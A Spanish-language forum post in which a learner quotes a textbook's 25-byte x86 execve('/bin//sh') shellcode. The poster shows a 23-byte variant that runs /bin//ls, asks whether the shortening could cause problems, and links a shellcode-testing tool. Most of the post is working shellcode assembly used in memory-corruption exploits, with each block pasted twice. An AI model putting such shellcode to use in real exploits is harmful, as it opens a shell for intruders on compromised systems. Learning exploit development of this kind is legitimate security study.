Citar
5.3.1.3. tiny_shell.s
BITS 32
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.
BITS 32
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.
con el cual obtengo un shellcode de 25 bytes, bueno todo está bien pero me surgieron preguntas al intentar reducirla unos bytes:
Citar
BITS 32
xor eax, eax
push eax
push 0x736c2f2f ;en este caso no hago un /bin//sh sino /bin//ls
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al,11
int 0x80
xor eax, eax
push eax
push 0x736c2f2f ;en este caso no hago un /bin//sh sino /bin//ls
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al,11
int 0x80
23 bytes

borre la primera pregunta (gracias por la correcion sch3m4) ya que era algo tonta.
- es posible que dé probremas el shellcode por el cambio que le hice al original despues del mov ebx, esp?
encontre un codigo que ahorra un poco de tiempo a la hora de probar y escribir la shellcode:
http://www.safemode.org/files/zillion/shellcode/tools/s-proc.c
seguro a alguien le servirá.
agradeceria cualquier comentario, espuesta o corrección.










Autor


En línea


